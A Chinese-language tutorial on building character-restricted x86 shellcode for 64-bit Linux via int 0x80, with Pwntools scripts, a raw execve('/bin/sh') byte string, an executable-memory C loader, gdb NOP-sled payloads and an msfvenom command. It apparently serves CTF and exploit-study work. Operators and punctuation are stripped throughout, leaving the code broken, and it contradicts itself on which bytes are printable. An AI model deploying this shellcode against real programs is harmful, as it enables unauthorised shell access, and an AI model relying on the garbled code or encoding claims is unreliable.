1. 项目概述与核心挑战在二进制安全与漏洞利用的实战中我们常常会遇到一个看似简单却极其恼人的限制字符限制。想象一下你精心构造的Shellcode因为目标程序对输入字符的过滤比如只允许可打印字符、不允许空字节\x00而无法成功注入执行。这就像你有一把万能钥匙却因为锁孔的形状特殊而插不进去。今天要聊的就是在64位Linux系统下如何巧妙地利用32位兼容模式下的int 0x80系统调用并结合指令编码技巧来“锻造”出一把能通过特殊锁孔的Shellcode钥匙。这不仅仅是技术更是一种在严格限制下寻求突破的“艺术”。这个主题的核心价值在于其极强的实战性。无论是CTF比赛中的pwn题还是某些真实环境中存在字符过滤的漏洞点掌握绕过字符限制的Shellcode编写技术都能让你从“一筹莫展”变为“游刃有余”。我们最终的目标是生成一段Shellcode它不仅能实现我们的功能比如弹个shell其机器码的每一个字节都能满足特定的字符集要求例如全是可打印的ASCII字符。为了实现这个目标我们将深入x86/x64指令编码的细节理解int 0x80在64位系统下的微妙行为并借助Pwntools这个强大的Python库来辅助我们的开发与测试。2. 技术背景深度解析从指令集到系统调用要玩转这门“艺术”我们必须先理解舞台的规则。这里涉及几个关键的技术背景64位与32位模式的区别、系统调用的方式以及指令的机器码编码。2.1 x86-64的兼容模式与int 0x80在标准的64位Linuxx86-64架构上进行系统调用的推荐方式是使用syscall指令。这个指令效率更高是64位的原生方式。然而Linux内核为了保持对古老32位程序的兼容性依然在64位模式下支持传统的32位系统调用方式——即通过int 0x80软中断。这里有一个至关重要的细节当在64位用户态程序中使用int 0x80时内核仍然会按照32位系统调用的约定来解释参数。这意味着系统调用号需要放入32位的eax寄存器而不是64位的rax。参数依次放入ebxecxedxesiediebp这些32位寄存器。内核会忽略这些32位寄存器的高32位并且默认参数地址空间被限制在4GB以下的低地址区域虽然在某些内核配置下通过esp可以访问更高地址但这并非稳定行为我们应避免依赖。为什么我们要“自找麻烦”地用32位方式原因就在于绕过字符限制。syscall指令的机器码是\x0f\x05这两个字节本身可能不在允许的字符范围内比如不是可打印字符。而int 0x80的机器码是\xcd\x80同样可能被过滤。但是通过精心构造寄存器值和选择指令我们有可能用一组“合法”的字节序列在内存中动态“拼凑”出\xcd\x80或者找到功能等价且编码全为可打印字符的其他指令序列。此外32位模式的指令通常比64位模式的同功能指令更短编码上也更有可能找到符合限制的变体。2.2 Shellcode与字符限制Shellcode本质是一段机器码。字符限制通常发生在Shellcode作为字符串输入的场景例如缓冲区溢出时通过gets、strcpy等函数输入。格式化字符串漏洞。某些Web应用的输入点其过滤逻辑可能误用于二进制数据。常见的限制有空字节\x00终止C语言字符串以\x00结尾如果Shellcode内含\x00复制函数可能会提前终止复制。可打印字符Printable只允许ASCII码值在0x20空格到0x7e~之间的字符。字母数字Alphanumeric只允许A-Za-z0-9。Unicode/UTF-8编码限制在某些宽字符或特定编码处理场景字节序列必须符合UTF-8等编码规则否则会被拒绝或转义。我们的挑战就是在已知限制下编写出能正确执行的机器码。这需要我们对指令的编码有极深的了解。2.3 指令编码与“指令变形”x86指令编码是可变长的非常复杂。一条指令由操作码Opcode、ModR/M字节、SIB字节、位移Displacement和立即数Immediate组成。正是这种复杂性给了我们操作空间。“指令变形”的核心思想是我们想要的指令如int 0x80的机器码可能被禁止但我们可以通过执行其他“合法”指令来使得内存中的某个位置恰好出现我们想要的机器码然后跳转过去执行或者我们通过算术、逻辑运算在寄存器中构造出想要的系统调用号和参数而这些运算指令的编码本身是“合法”的。例如我们的目标是让eax1132位的execve系统调用号。直接mov eax, 11的编码是\xb8\x0b\x00\x00\x00包含了空字节。但我们可以这样xor eax, eax编码\x31\xc0 可打印将eax清零。mov al, 11编码\xb0\x0b\x0b是垂直制表符在某些限制下可能不允许但我们可以继续找将11放入aleax的低8位。由于eax高位已是0此时eax就等于11。我们需要不断尝试和组合各种指令找到一条全由“合法”字节构成的路径达到相同的寄存器状态效果。3. 实战构造可打印字符Shellcode以execve为例让我们以最经典的execve(“/bin/sh”, NULL, NULL)为例目标是生成一段全部由可打印ASCII字符0x20-0x7e组成的Shellcode并在64位系统下使用int 0x80调用。3.1 设计思路与寄存器规划首先明确32位execve调用的约定eax 11 系统调用号ebx 指向字符串”/bin/sh”的指针ecx 0 参数数组指针这里我们传NULLedx 0 环境变量数组指针这里我们传NULL我们的Shellcode需要在内存中完成以下几件事将eax设置为11。将ebx设置为一个指向有效”/bin/sh”字符串的指针。将ecx和edx清零。触发int 0x80中断。同时所有指令的机器码必须在可打印字符范围内。3.2 分步实现与编码分析这是一个需要耐心和技巧的过程我们一步步来。步骤1将ecx和edx清零清零操作通常用xor。xor ecx, ecx的编码是\x31\xc9\x31和\xc9都在可打印范围外\xc9 0x7e。所以这条路不行。 我们可以用push一个值再pop到寄存器但push的立即数如果是0编码中又会引入空字节。 一个经典的技巧是利用mul指令。mul ecx指令会计算eax * ecx结果存入edx:eax。如果我们能确保ecx为0那么结果edx和eax都会变成0。但前提是ecx要为0这成了先有鸡还是先有蛋的问题。实际上更常见的起点是利用栈。我们可以先让esp指向一段我们可控的、内容已知的内存比如Shellcode本身所在的区域然后通过pop指令来设置寄存器。但pop指令的编码也需要检查。经过查找和尝试一个可行的方案是利用eax的初始值在某些环境下可能为0但不能依赖和一系列算术运算。但更稳定的方法是我们优先构造出int 0x80的指令码\xcd\x80到某个寄存器然后通过push/pop或者内存写入的方式将其放置到指令流中。而构造\xcd\x80本身可以通过对可打印字符进行运算得到。例如\xcd是205\x80是128。我们可以尝试用可打印数字的运算来得到它们。但这样运算指令的编码本身也可能不可打印。步骤2放置“/bin/sh”字符串我们不能直接在Shellcode里包含”/bin/sh\x00”因为\x00是不可打印的。我们需要用可打印字符在内存中“拼”出这个字符串。例如我们可以分两次将”/bin”和”//sh”用两个/来对齐并避免空字节压入栈然后用esp作为指针传给ebx。压栈的指令是push 0x68732f2f(//sh)和push 0x6e69622f(/bin)。但push立即数的指令\x68后跟的4字节立即数里很可能包含不可打印字符比如0x68\x73\x2f\x2f\x6e中的\x2f是/可打印但需要检查整个序列。步骤3构造int 0x80指令这是最精妙的部分。int 0x80的编码\xcd\x80两个字节都不可打印。我们需要在运行时“创造”它。一个经典方法是将两个可打印的字符合并到一个寄存器中比如ax 0x80cd注意x86是小端序内存中0xcd在低地址0x80在高地址所以合并成16位值是0x80cd。将这个值push到栈上。此时栈顶的2个字节就是\xcd\x80。然后我们call或者jmp到栈顶这个位置去执行。如何得到0x80cd可以通过对两个可打印的16位值进行运算比如0xXXXX 0xYYYY 0x80cd并且加法指令的编码是可打印的。这通常需要大量的手工尝试和脚本辅助。注意这种方法将代码推入栈执行要求栈空间是可执行的NX/DEP保护关闭。在现代安全环境下这通常不成立。因此更可靠的方法是将\xcd\x80写入Shellcode中一个预先留好的“洞”比如一段全为0x90nop指令的区域然后跳转到那里。但写入操作本身如mov word ptr [eax], 0x80cd的编码又可能包含不可打印字符。由于纯手工构造全可打印Shellcode极其繁琐在实际中我们通常会借助自动化工具和框架来生成。3.3 使用Pwntools辅助开发Pwntools是一个CTF框架和漏洞利用开发库它提供了强大的Shellcode生成和编码功能。虽然它不能直接“一键生成”满足所有奇特限制的Shellcode但它提供的asm、disasm、shellcraft模块和编码器Encoder是我们进行手工构造和测试的利器。下面是一个使用Pwntools来探索和测试我们的构想的示例脚本#!/usr/bin/env python3 from pwn import * context.arch ‘i386‘ # 使用32位模式进行汇编因为我们要用int 0x80 context.os ‘linux‘ # 1. 先写一个标准的32位execve shellcode (包含空字节) standard_shellcode asm(‘‘‘ xor ecx, ecx mul ecx ; edx也清零同时eax清零 push ecx ; 字符串结尾的NULL push 0x68732f2f ; “//sh“ push 0x6e69622f ; “/bin“ mov ebx, esp ; ebx指向“/bin//sh\0“ mov al, 11 ; execve系统调用号 int 0x80 ‘‘‘) print(“标准Shellcode:“) print(hexdump(standard_shellcode)) print(“字符串形式:“, repr(standard_shellcode)) print(“是否包含空字节?“, b‘\x00‘ in standard_shellcode) # 2. 尝试编写一个避免空字节的版本但未必全可打印 shellcode_no_null asm(‘‘‘ xor ecx, ecx mov edx, ecx ; edx 0 push ecx ; NULL (ecx已经是0) push 0x68732f2f push 0x6e69622f mov ebx, esp xor eax, eax mov al, 11 int 0x80 ‘‘‘) print(“\n无空字节Shellcode:“) print(hexdump(shellcode_no_null)) print(“字符串形式:“, repr(shellcode_no_null)) print(“是否包含空字节?“, b‘\x00‘ in shellcode_no_null) # 3. 检查每个字节是否可打印 (0x20-0x7e) def is_printable(byte): return 0x20 byte 0x7e all_bytes shellcode_no_null print(“\n检查无空字节版本的每个字节:“) for i, b in enumerate(all_bytes): status “可打印“ if is_printable(b) else “不可打印“ print(f“字节 {i:2d}: 0x{b:02x} ({chr(b) if is_printable(b) else ‘.‘}) - {status}“) # 4. 使用Pwntools的编码器进行简单过滤测试示例 # 注意pwntools内置的编码器主要针对空字节对可打印字符编码需要自定义或使用其他工具。 class PrintableEncoder(Encoder): def __call__(self, raw_bytes): # 这是一个极其简化的示例真实编码器复杂得多。 # 这里只是演示框架实际需要实现编码逻辑。 encoded bytearray() for b in raw_bytes: if is_printable(b): encoded.append(b) else: # 尝试用可打印指令替换或包裹这里无法自动完成。 # 实际中我们会在这里实现算法比如将1个不可打印字节转换为2个可打印字节的运算指令。 raise EncodeError(f“无法编码字节 0x{b:02x}“) return bytes(encoded) # 5. 更实用的方法使用shellcraft生成模板然后手工修改 print(“\n--- 使用shellcraft模块 ---“) # 生成一个execve的shellcode对象 sh shellcraft.i386.linux.execve(‘/bin/sh‘) print(“Shellcode汇编代码:“) print(sh) # 汇编它 sh_bin asm(sh) print(“\n汇编后的机器码hexdump:“) print(hexdump(sh_bin))这个脚本展示了从标准Shellcode开始检查问题并尝试改进的过程。真正的“全可打印字符”Shellcode构造往往需要结合以下步骤并反复迭代确定核心指令序列先写出功能正确的标准汇编代码。识别非法字节将其机器码逐字节对照ASCII表检查。指令替换对于包含非法字节的指令查找其编码在合法范围内的替代指令。例如mov eax, 11换成xor eax, eax; mov al, 11。动态构造对于无法替换的指令如int 0x80设计一个“构造器”用一系列合法指令在内存中拼出它的机器码。栈与数据布局精心安排栈上数据的压入顺序和地址计算确保所有内存引用和立即数都合法。自动化尝试通常需要写一个脚本枚举大量可能的指令组合和运算来寻找满足字节限制的序列。学术界和安全社区有一些工具如msfvenom的alpha_mixed编码器或pwntools的context.encoder可以辅助但针对极端定制化需求仍需深度手工参与。4. 混合编码与高级绕过技巧当简单的可打印字符限制被满足后我们可能会遇到更复杂的混合编码限制例如UTF-8有效性校验。4.1 UTF-8编码规则与Shellcode的冲突UTF-8是一种变长编码其规则决定了不是所有的字节序列都是合法的UTF-8。一个合法的UTF-8字符的字节序列必须符合以下模式单字节字符0x00-0x7f与ASCII兼容双字节字符第一个字节在0xc2-0xdf第二个字节在0x80-0xbf三字节字符第一个字节在0xe0-0xef第二、三个字节在0x80-0xbf四字节字符第一个字节在0xf0-0xf4第二、三、四个字节在0x80-0xbf如果我们的Shellcode中包含了一个孤立的0x80比如int 0x80的一部分它不是一个合法的单字节UTF-8字符并且它前面如果不是0xc2-0xdf它也不是一个合法多字节序列的第二字节。某些进行UTF-8验证的输入处理函数可能会拒绝这样的字节流或者将其替换为错误占位符如从而破坏我们的Shellcode。4.2 构造UTF-8安全的Shellcode思路是确保我们Shellcode的整个字节序列可以被解析为一串合法的UTF-8字符。这意味着我们需要将我们的机器码“伪装”成有效的UTF-8文本。这比可打印字符限制更难。我们需要指令选择优先选择其机器码落在单字节UTF-8范围0x01-0x7f注意0x00通常也不行因为是字符串终止符或能形成合法多字节UTF-8序列的指令。指令对齐有时需要插入一些不影响执行的“填充指令”如nop的变种其编码需符合UTF-8来确保后续指令的起始字节位于合法位置。例如一个三字节指令可能以0xe8call开头这是一个合法的三字节UTF-8序列的首字节那么我们需要确保接下来的两个字节也在0x80-0xbf范围内否则就需要在前面插入填充来调整指令边界。使用多字节指令作为“载体”我们可以有意使用一些编码为多字节UTF-8字符的指令这些指令的“有效载荷”部分即非首字节允许是0x80-0xbf这正好可以用来嵌入我们原本非法的字节。例如我们可以构造一个mov指令到某个寄存器其源操作数是一个立即数我们可以控制这个立即数的值使其字节落在0x80-0xbf同时整个指令的编码看起来像一个合法的三字节或四字节UTF-8字符。实操心得构造UTF-8安全的Shellcode是一项极其精细的工作几乎必须依赖自动化脚本进行搜索和验证。一个常见的策略是不追求整个Shellcode是连续的合法UTF-8而是确保在注入点解释器如PHP、Python的某些字符串处理函数按UTF-8解码时不会出错或改变字节序列。有时利用解码后的结果可能字节已变再次跳转或计算也能达到目的这被称为“多阶段解码”。5. 使用Pwntools进行完整开发与测试流程让我们整合前面的知识用一个更贴近实战的例子来展示流程。假设我们面临一个限制输入必须是有效的UTF-8字符串且不能包含空字节。我们要获得一个shell。步骤1生成原始Shellcode并分析from pwn import * context.arch ‘i386‘ context.os ‘linux‘ # 使用shellcraft生成execve(‘/bin/sh‘)的汇编代码 asm_code shellcraft.i386.linux.execve(‘/bin/sh‘) print(“[] 原始汇编代码:“) print(asm_code) # 汇编成机器码 raw_sc asm(asm_code) print(f“\n[] 原始机器码长度: {len(raw_sc)}“) print(hexdump(raw_sc)) # 检查问题 print(f“\n[] 包含空字节: {b‘\\x00‘ in raw_sc}“) # 这里可以添加UTF-8有效性检查函数步骤2尝试使用内置编码器处理空字节Pwntools有一些简单的编码器。from pwnlib.encoders.i386 import xor # 使用xor编码器消除空字节但可能引入非UTF8字节 encoder xor.XorEncoder() encoded_sc encoder.encode(raw_sc, avoidb‘\x00‘) print(f“\n[] 编码后长度: {len(encoded_sc)}“) print(hexdump(encoded_sc)) print(f“[] 编码后包含空字节: {b‘\\x00‘ in encoded_sc}“)注意xor编码器可能无法解决UTF-8问题因为它只是异或了一个密钥。步骤3自定义编码器框架针对UTF-8这是一个高度简化的概念展示真实编码器复杂得多。def utf8_safe_encode(shellcode): 一个概念性函数目标是将shellcode转换为UTF-8安全的字节序列。 实际实现需要复杂的指令替换和填充算法。 encoded bytearray() i 0 while i len(shellcode): byte shellcode[i] # 如果字节是单字节UTF-8合法字符 (0x01-0x7f, 排除0x00) if 0x01 byte 0x7f: encoded.append(byte) i 1 else: # 对于非法单字节我们需要将其与前后字节组合或者用多字节指令替换原指令 # 这里我们用一个简单的、不安全的替代用两个可打印字节表示一个非法字节 # 例如用SUB AL, 0xXX 和 ADD AL, 0xYY 来组合出目标值如果寄存器允许 # 这只是一个示意会破坏原shellcode逻辑。 print(f“警告在偏移{i}处遇到非法字节0x{byte:02x}需要复杂编码。“) # 作为演示我们简单地用NOP (0x90)填充但这显然不行。 # encoded.append(0x90) # 0x90也不是合法单字节UTF-8 (它是控制字符) # 实际上0x90 (NOP) 的编码是 0x90在0x80-0xbf之间只能作为多字节序列的后续字节。 # 我们需要在前面插入一个合法首字节比如 0xc2 形成序列 0xc2 0x90。 # 但0xc2 0x90 解码后是U0090这不是NOP指令了。 # 所以必须重新设计指令流。 raise NotImplementedError(“UTF-8安全编码需要定制化算法“) return bytes(encoded) # try: # utf8_sc utf8_safe_encode(raw_sc) # print(“UTF-8安全编码成功(演示)“) # except Exception as e: # print(f“编码失败: {e}“)步骤4测试与调试编写或生成一段Shellcode后必须在可控环境中测试其有效性。# 创建一个测试程序来执行Shellcode test_program ‘‘‘ #include stdio.h #include string.h #include sys/mman.h int main() { // 假设这是我们的“安全”Shellcode这里用标准无空字节版代替 char shellcode[] “\\x31\\xc9\\x31\\xd2\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc0\\xb0\\x0b\\xcd\\x80“; printf(“Shellcode长度: %zu\\n“, strlen(shellcode)); // 分配可执行内存 void *exec_mem mmap(0, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (exec_mem MAP_FAILED) { perror(“mmap“); return 1; } // 复制Shellcode memcpy(exec_mem, shellcode, sizeof(shellcode)); printf(“跳转到Shellcode...\\n“); // 类型转换并调用 int (*func)() (int (*)())exec_mem; func(); return 0; // 如果shellcode成功这行不会执行 } ‘‘‘ # 使用pwntools编译并运行测试 with open(‘/tmp/test_shellcode.c‘, ‘w‘) as f: f.write(test_program) # 编译 os.system(‘gcc -m32 -o /tmp/test_shellcode /tmp/test_shellcode.c -z execstack‘) # -z execstack 使栈可执行便于测试 # 运行 # os.system(‘/tmp/test_shellcode‘) # 实际运行可能会弹出shell在脚本中谨慎操作 print(“\n[] 测试程序已编译到 /tmp/test_shellcode“) print(“ 请在安全环境中手动运行以测试Shellcode功能。“)6. 常见问题、排查技巧与进阶思考即使按照上述步骤你也可能会遇到Shellcode不工作的情况。以下是一些排查思路和进阶技巧。6.1 Shellcode执行失败常见原因空字节问题最经典的问题。使用objdump -d或ndisasm反汇编你的Shellcode检查是否意外引入了0x00。特别注意mov reg, imm32这类指令如果立即数很小高位会是0。指令对齐与非法指令在动态构造指令如向栈中写入代码后跳转时如果跳转地址没有对齐到指令边界通常是4字节或2字节对齐但x86较宽松CPU可能会解码出完全不同的非法指令导致崩溃。确保你的跳转目标地址是你精心构造的指令序列的开始。寄存器状态污染你的Shellcode可能依赖于某些寄存器的初始值。如果漏洞触发点如函数返回时的寄存器状态与你预期不同Shellcode就会失败。尽量使用不依赖特定初始值的指令如用xor eax, eax清零而不是假设eax为0。在Shellcode开头保存关键寄存器如esp或先初始化所有用到的寄存器是稳妥的做法。信号处理干扰较长的Shellcode在执行过程中可能会被信号中断。如果信号处理函数破坏了你的寄存器或栈状态Shellcode可能会异常。在Shellcode开始时阻塞所有信号是一种方法但这会增加复杂度和长度。内存保护现代系统默认启用NXDEP栈和堆不可执行。如果你的Shellcode被注入到栈或堆并且没有通过mprotect或mmap分配可执行内存执行时会触发段错误。这种情况下你需要使用Return-Oriented ProgrammingROP等技术而不是传统的代码注入。字符集转换破坏如果你的Shellcode在传输过程中被当作文本处理如通过HTTP参数、JSON可能会发生字符集转换如UTF-8到UTF-16、大小写转换、空格压缩等破坏机器码。确保你了解整个数据流的处理链条。6.2 调试Shellcode的技巧使用stracestrace ./vulnerable_program your_shellcode_input可以跟踪系统调用。如果你看到execve被调用但参数不对或者根本没有int 0x80/syscall说明Shellcode逻辑或注入点有问题。使用gdbgdb ./vulnerable_programrun $(python -c “print ‘A‘*offset ‘\\x90‘*100 ‘你的Shellcode‘“)其中offset是覆盖返回地址所需的填充长度\x90是nop雪橇在可能跳转到Shellcode的地址比如栈地址设断点break *0xffffd100地址需根据实际情况调整。使用stepi单步执行汇编指令观察寄存器和内存变化。编写加载器像上面C测试程序一样写一个专门加载和运行Shellcode的小程序这比在漏洞程序中调试更方便。使用Pwntools的shellcraft和asm它们能帮你快速迭代。修改汇编代码立即生成机器码并测试。6.3 从32位int 0x80到64位syscall的思考本文聚焦于32位int 0x80主要是因为其在绕过字符限制方面有一些历史积累的技巧和编码特性。但在纯粹的64位利用中使用syscall是更自然的选择。syscall的编码\x0f\x05同样面临字符限制问题。绕过思路是相通的寻找编码为可打印字符的指令来动态构造\x0f\x05。利用raxrdirsirdx等64位寄存器传参构造参数时同样要注意避免非法字节。64位地址通常包含高位零更容易引入空字节。需要通过位运算如左移、加法在寄存器中构造地址而不是直接mov一个64位立即数。6.4 工具与资源推荐msfvenomMetasploit的负载生成器内置多种编码器-e选项如x86/alpha_mixed可打印字符x86/unicode_mixedUTF-16。可以快速生成常见负载的编码版本是很好的起点和参考。msfvenom -p linux/x86/exec CMD/bin/sh -e x86/alpha_mixed -f rawpwntools如前所述是开发和测试的瑞士军刀。NASM/YASM本地汇编器用于将精心编写的汇编代码编译成机器码方便精细控制。ndisasm反汇编工具快速查看机器码对应的指令。echo -ne “你的Shellcode十六进制字符串“ | ndisasm -b 32 -在线汇编/反汇编网站如https://defuse.ca/online-x86-assembler.htm方便快速尝试。编写绕过字符限制的Shellcode尤其是在64位环境下使用32位调用约定就像在严格的格律下创作诗歌。它要求你对指令集编码、系统调用约定和程序运行环境有深刻的理解。每一次成功的绕过都是对底层细节一次胜利的驾驭。这个过程充满挑战但攻克它所带来的成就感以及对计算机系统理解层次的提升无疑是巨大的。希望这篇长文能为你打开这扇有趣且实用的大门。记住实践出真知多写、多试、多调试是掌握这门艺术的唯一途径。